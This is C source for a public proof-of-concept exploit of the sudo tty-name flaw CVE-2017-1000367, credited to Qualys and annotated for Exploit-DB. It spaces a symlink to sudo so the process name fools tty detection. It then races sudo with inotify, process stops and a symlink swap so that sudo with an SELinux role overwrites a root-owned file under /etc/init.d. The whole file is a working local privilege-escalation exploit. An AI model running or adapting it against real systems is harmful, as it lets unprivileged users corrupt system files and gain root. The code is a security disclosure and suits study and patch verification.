/*
 * E-DB Note: http://www.openwall.com/lists/oss-security/2017/05/30/16
 * E-DB Note: http://seclists.org/oss-sec/2017/q2/470
 * 
 * Linux_sudo_CVE-2017-1000367.c
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <paths.h>
#include <pty.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define SUDO_BINARY "/usr/bin/sudo"
#define TARGET_FILE "/etc/init.d/README"
#define SELINUX_ROLE "unconfined_r"

#define WORKING_DIR "/dev/shm/_tmp"
#define TTY_SYMLINK WORKING_DIR "/_tty"
#define TTY_SYMLINK_ TTY_SYMLINK "_"

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

int
main(const int my_argc, const char * const my_argv[])
{
    if (my_argc <= 1) die();
    if (my_argc >= INT_MAX/2) die();
    char comm[sizeof(WORKING_DIR) + 16];
    char pts[PATH_MAX];

    #define PTS_NUM 32
    int pts_fds[2 * PTS_NUM];
    unsigned int i = PTS_NUM;
    while (i--) {
        int ptm_fd;
        if (openpty(&ptm_fd, &pts_fds[i], pts, NULL, NULL)) die();
        if (close(ptm_fd)) die();
    }
    struct stat sbuf;
    if (fstat(*pts_fds, &sbuf)) die();
    if (!S_ISCHR(sbuf.st_mode)) die();
    if (sbuf.st_rdev <= 0) die();
    if ((unsigned int)snprintf(comm, sizeof(comm), "%s/     %lu ", WORKING_DIR, (unsigned long)sbuf.st_rdev)
                                  >= sizeof(comm)) die();
    for (i = 0; i < PTS_NUM; i++) {
        if (close(pts_fds[i])) die();
    }

    if (mkdir(WORKING_DIR, 0700)) die();
    if (symlink(pts, TTY_SYMLINK)) die();
    if (symlink(TARGET_FILE, TTY_SYMLINK_)) die();
    if (symlink(SUDO_BINARY, comm)) die();

    const int inotify_fd = inotify_init1(IN_CLOEXEC);
    if (inotify_fd <= -1) die();
    const int working_wd = inotify_add_watch(inotify_fd, WORKING_DIR, IN_OPEN | IN_CLOSE_NOWRITE);
    if (working_wd <= -1) die();

    const int cpu = sched_getcpu();
    if (cpu >= CPU_SETSIZE) die();
    if (cpu < 0) die();
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(cpu, &cpu_set);
    if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) die();

    const pid_t pid = fork();
    if (pid <= -1) die();
    if (pid == 0) {
        const unsigned int argc = 3 + my_argc - 1;
        char ** const argv = calloc(argc + 1, sizeof(char *));
        if (!argv) die();
        argv[0] = comm;
        argv[1] = "-r";
        argv[2] = SELINUX_ROLE;
        memcpy(&argv[3], &my_argv[1], my_argc * sizeof(char *));
        if (argv[argc]) die();

        if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();
        static const struct sched_param sched_param = { .sched_priority = 0 };
        (void) sched_setscheduler(0, SCHED_IDLE, &sched_param);
        execve(*argv, argv, NULL);
        die();
    }

    struct inotify_event event;
    if (read(inotify_fd, &event, sizeof(event)) != (ssize_t)sizeof(event)) die();
    if (kill(pid, SIGSTOP)) die();
    if (event.wd != working_wd) die();
    if (event.mask != (IN_OPEN | IN_ISDIR)) die();

    for (i = 0; ; i++) {
        if (i >= sizeof(pts_fds) / sizeof(*pts_fds)) die();
        int ptm_fd;
        char tmp[PATH_MAX];
        if (openpty(&ptm_fd, &pts_fds[i], tmp, NULL, NULL)) die();
        if (!strcmp(tmp, pts)) break;
        if (close(ptm_fd)) die();
    }
    while (i--) {
        if (close(pts_fds[i])) die();
    }
    if (kill(pid, SIGCONT)) die();
    if (read(inotify_fd, &event, sizeof(event)) != (ssize_t)sizeof(event)) die();
    if (kill(pid, SIGSTOP)) die();
    if (event.wd != working_wd) die();
    if (event.mask != (IN_CLOSE_NOWRITE | IN_ISDIR)) die();

    if (rename(TTY_SYMLINK_, TTY_SYMLINK)) die();
    if (kill(pid, SIGCONT)) die();

    int status = 0;
    if (waitpid(pid, &status, WUNTRACED) != pid) die();
    if (!WIFEXITED(status)) die();

    if (unlink(comm)) die();
    if (unlink(TTY_SYMLINK)) die();
    if (rmdir(WORKING_DIR)) die();
    exit(WEXITSTATUS(status));
}